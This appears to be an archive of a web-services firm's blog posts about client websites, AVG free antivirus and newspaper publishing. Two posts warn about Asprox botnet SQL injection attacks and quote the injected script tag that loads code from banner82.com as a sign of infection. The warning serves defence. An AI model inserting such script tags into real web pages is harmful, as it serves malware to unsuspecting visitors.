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Dr. Tony Gadbois needed a website to help distribute office and clinical protocols to dental practices wanting to offer and implement Invisalign products.

The result is a simple, clean website that gathers basic contact information from the dentist while providing somewhat restricted access to a myriad of detailed PDFs. The site is hosted at GoDaddy.com under Dr. Tony’s account. Delta Systems helped to get email account and domain forwarding setup since the .com, .org, and .info all needed to point to the same website.

MayeCreate Design partnered with Delta Systems to help with data collection and to put the site live just in time to coincide with a presentation Dr. Tony Gadbois was making at a conference about the protocols.

Automatic invisalign is a turn-key system of office and clinical protocols that will steer you through the ride to full integration of Invisalign.

Dr. Tony Gadbois practices at Cherry Hill Dental

Visit the new site at http://www.automaticinvisalign.com

Don’t be confused, AVG v8.0 is still free for home users

You can download it fromhttp://free.grisoft.com/ww.download?prd=afe

Your current install of AVG may be complaining that you MUST download an update and get onto version 8 before June 1, 2008.  However, the good people at Grisoft make it appear that v8.0 is $54.99. “AVG Internet Security” is what costs $54.99. It adds anti-spam protection, a firewall, file download protection, and website surfing protection. Some of these are redundant to what is included with your Windows XP or Vista installation as well as protections built in to Internet Explorer 7.0.

They make a great product and we highly recommend their entire suite of applications. However, we thought we’d blog about the free version still being out there since they did a very good job of burying it.

So, if you just want virus protection, then get the free version.

Neat! I ‘moon walked’ across [the] floor when it worked. We appreciate you and thanks for all you do.

Terry Murphy, e-PRO, GRI
Director of Education
Missouri Association of REALTORS

Read more about the MAR at http://www.missourirealtor.org/education  

We’ve been receiving calls and emails related to our recent post that discussed how we’ve been able to stop database infections by the asprox botnet.

In one of those calls, we found out that the Storefront ecommerce system has been having this problem as well. Apparently the Storefront SQL security vulnerabilities are pretty well known. We worked on a Storefront application several months ago and reported several issues we found; we’re not sure if LaGarde ever patched them though. The caller didn’t give us the Storefront version number.

Anyhoo, if you are having problems with Dot Net Nuke (DNN) or Storefront websites getting overwritten with stuff like <script src=http://www.banner82.com/b.js></script> then give us a call. We may be able to help.

You’re not alone. If you Google for banner82.com you’ll see thousands of sites that have been compromised. The attack is pretty ingenious – you can read about it by clicking on the top link in this post.

The Columbia Business Times ran a story on Phishing, Pharming, and Hacking. They consulted several local businesses that deal with these types of threats. Both Kevin Schmutzler and David Nivens also had several useful insights as to how to prevent these issues using several layers of protection.

We found it interesting that this story went live the same day that the latest round of attacks from the Asprox botnet started spreading via the web and Microsoft SQL Servers.

If you think your website has been infected by the Asprox botnet, give us a call.

We’ve figured out a few ways to innoculate sites from the attacks, even without fixing XSS vulnerabilities in the code itself.

How do you know if your site is infected?

For one thing, you will see links to banner82.com in the form of

<script src=http://www.banner82.com/b.js></script>

If you Google for banner82.com you’ll see thousands of sites that have been compromised.

The good people at the Business Times Company electronically delivered the latest issue of the CBT to Delta in PDF, printer ready format. Delta then publishes the PDF and dumps graphics and stories into WordPress to get the individual stories properly indexed by Google News and a myriad of search engines. The official publication date is every other Saturday. The online issue is set to automatically go live at 5:00pm on the Friday before the day of publication since print copies start arriving in mailboxes on Friday.

The Columbia Business Times can be found online at http://www.columbiabusinesstimes.com

Everything you see on that site is database driven – no human layout is required for each issue – it is automatically handled by the system and all stories in each issue are pushed live simultaneously and automatically.

Articles started appearing in Google News within 8 minutes of them being posted. Not too shabby.

The Add Sheet today launched a free open house listing service where anyone can post information about an upcoming open house.

Delta linked Archer Title’s website to The Add Sheet!’s open house listing page. Just another example of Delta’s quick website update services.

PS: The new Add Sheet website looks nice! It works much better than the last one.

The National Newspaper Association brought their new website live recently at nna.org This new site features a design by Delta Systems with content being supplied by Avectra’s NetForum association management software.

The NNA has retained some features of the old site that Delta helped with, including the membership dues calculator that allows potential members to calculate their annual membership fees before they sign up.  (Delta previously featured a story about the member dues calculator). Delta also helped save the NNA some money by suggesting using an off-the-shelf collaboration system (phpBB) to launch their NNA Great Ideas forum.

Recently, the Columbia Daily Tribune ran a story on our friends over at Photo Gliff. Delta Systems has been advising and incubating Photo Gliff since they opened their doors in January 2008.

Photo Gliff offers event and on-site photography services. From action shots at sporting and cultural events to portraits for school yearbooks and business directories, owners Scott Smith and Ric Wilborn provide digital photography and printing services for a variety of clients and occasions. Using the latest digital technology and graphic designing software, Photo Gliff also offers on-the-spot photos, which allow customers to review and purchase photos the day of an event. Photographs also are available for purchase online.

You can read the full story in the Columbia Daily Tribune

The good people at the Business Times Company electronically delivered the latest issue of the CBT to Delta in PDF, printer ready format. Delta then publishes the PDF and dumps graphics and stories into WordPress to get the individual stories properly indexed by Google News and a myriad of search engines. The official publication date is every other Saturday. The online issue is set to automatically go live at 5:00pm on the Friday before the day of publication since print copies start arriving in mailboxes on Friday.

The Columbia Business Times can be found online at http://www.columbiabusinesstimes.com

Everything you see on that site is database driven – no human layout is required for each issue – it is automatically handled by the system and all stories in each issue are pushed live simultaneously and automatically.

Articles started appearing in Google News within 7 minutes of them being posted. Not too shabby.